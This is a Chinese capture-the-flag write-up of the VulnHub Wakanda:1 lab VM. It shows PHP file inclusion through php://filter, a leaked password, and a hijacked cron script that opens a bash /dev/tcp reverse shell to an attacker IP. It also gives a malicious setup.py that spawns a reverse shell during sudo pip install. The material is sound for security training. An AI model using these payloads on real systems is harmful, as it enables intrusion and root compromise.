【vulnhub】Wakanda :1靶机

靶机安装

下载地址:https://download.vulnhub.com/wakanda/wakanda-1.ova

运行环境:Virtual Box

信息收集

靶机IP扫描

复制代码
netdiscover -i eth0 -r 192.168.7.0/24

端口扫描

复制代码
nmap -A 192.168.7.243 -p-

80端口开启了http服务,在3333端口开启了ssh服务,且ssh版本为openssh6.7,之前了解到openssh7.7之前的版本中存在用户名枚举漏洞。

目录扫描

网址访问

查看源码

拼接扫描到的目录,没有什么有用的信息,

从网页源码上看给了一个参数,拼接访问一下index.php,因为他是脚本文件,不过得删除.php后缀才可以访问成功

lang表示可以随意切换网站的语言,在这里?lang=fr表示语言为法语,可以设置成中文,英语等语言,既然这个lang可以改变语言,那么说明改变语言使用了语言php文件,那么关联的就是文件包含漏洞了,页面没什么可以下手的地方,那我们就构造url,这里就关联到一个知识点,也是我们要用到的:php://filter.它是php中一个独有的协议,它作为一个中间流来处理其流,比如我们可以将我们手上的源码用base64解码来dowm下来.

复制代码
/?lang=php://filter/read=convert.base64-encode/resource=index

base64解码

得到源代码,并且得到了一个password:Niamey4Ever227!!!

复制代码
<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Vibranium market">
    <meta name="author" content="mamadou">

    <title>Vibranium Market</title>


    <link href="bootstrap.css" rel="stylesheet">

    
    <link href="cover.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
      <header class="masthead mb-auto">
        <div class="inner">
          <h3 class="masthead-brand">Vibranium Market</h3>
          <nav class="nav nav-masthead justify-content-center">
            <a class="nav-link active" href="#">Home</a>
            <!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
          </nav>
        </div>
      </header>

      <main role="main" class="inner cover">
        <h1 class="cover-heading">Coming soon</h1>
        <p class="lead">
          <?php
            if (isset($_GET['lang']))
          {
          echo $message;
          }
          else
          {
            ?>

            Next opening of the largest vibranium market. The products come directly from the wakanda. stay tuned!
            <?php
          }
?>
        </p>
        <p class="lead">
          <a href="#" class="btn btn-lg btn-secondary">Learn more</a>
        </p>
      </main>

      <footer class="mastfoot mt-auto">
        <div class="inner">
          <p>Made by<a href="#">@mamadou</a></p>
        </div>
      </footer>
    </div>



  

</body></html>

获得了一个密码,想到了开放了3333端口,3333端口用于连接ssh,而连接ssh则需要用户名和密码,密码是有了,但是用户名没有,再反过web页面看一下,底下有作者,尝试一下

获取shell

进行ssh连接

复制代码
ssh [email protected] -p 3333
#密码:Niamey4Ever227!!!

这里执行命令,发现执行不出来,这是开启了python shell ,只能通过函数来执行命令,很麻烦,因此,我们利用python shell再开启一个bash shell

复制代码
import os
os.system("/bin/bash")

现在进行查看flag文件

再次进行目录翻找,发现了第2个flag,在目录/home/devops目录下,这应该是两个用户目录,进行查看,发现没有权限

无法执行sudo -l提权,翻看tmp目录

仔细观察后发现,test文件每隔五分钟就会被修改一次,说明有一个定时任务在不断被调用,/srv多用来存放系统服务类脚本的多,最后在srv下找到了这个定期运行文件

尝试将.antivirus.py的内容修改为如下内容

复制代码
f=open('/home/devops/flag2.txt', 'r').read()
open('/tmp/flag.txt','w').write(f)

echo "f=open('/home/devops/flag2.txt', 'r').read()" > .antivirus.py
echo "open('/tmp/flag.txt','w').write(f)" >> .antivirus.py

几分钟后查看tmp目录,果然出现了flag.txt,读取便获得了第二个flag

下一步是要用devops用户身份创建一个shell,所以要转到这个用户,

将.antivirus.py内容改为

复制代码
import os
os.system("echo \'bash -i >& /dev/tcp/192.168.7.47/6767 0>&1\'|bash")

但是我发现内容写不进去,试了好多方法,都没有成功,想到可以在kali上面写一个py文件,通过远程下载到靶机上面,然后替换.antivirus.py文件

挂起一个远程下载的服务

靶机进行远程下载

靶机要跳转到/tmp目录里面,否则不能下载

复制代码
cd /tmp

wget http://192.168.7.47:8000/python.py

进行文件替换命令

复制代码
cp python.py /srv/.antivirus.py

进行监听6767端口,该脚本会自动执行,只需等待几分钟就会连接

提权

sudo提权

sudo -l

发现pip不需要密码

创建一个恶意setup.py并上传到tmp目录,和上面的方法一样,创建文件,并远程下载到/tmp目录下面

复制代码
from setuptools import setup
from setuptools.command.install import install
import base64
import os
 
 
class CustomInstall(install):
  def run(self):
    install.run(self)
    RHOST = '192.168.7.47' 
 
    reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 7777; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)
 
 
setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='[email protected]',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

攻击机开启nc监听端口,控制靶机执行

复制代码
sudo -H /usr/bin/pip install . --upgrade --force-reinstall

查看最后一个flag

相关推荐
lubiii_9 分钟前
SQL手工测试(MySQL数据库)
数据库·mysql·web安全·网络安全
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
20242817李臻2 小时前
20242817李臻-安全文件传输系统-项目验收
数据库·安全
网安INF5 小时前
ElGamal加密算法:离散对数难题的安全基石
java·网络安全·密码学
DevSecOps选型指南11 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化11 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU12 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
网安INF13 小时前
CVE-2020-17519源码分析与漏洞复现(Flink 任意文件读取)
java·web安全·网络安全·flink·漏洞
lubiii_13 小时前
墨者学院-密码学实训隐写术第二题
web安全·网络安全·密码学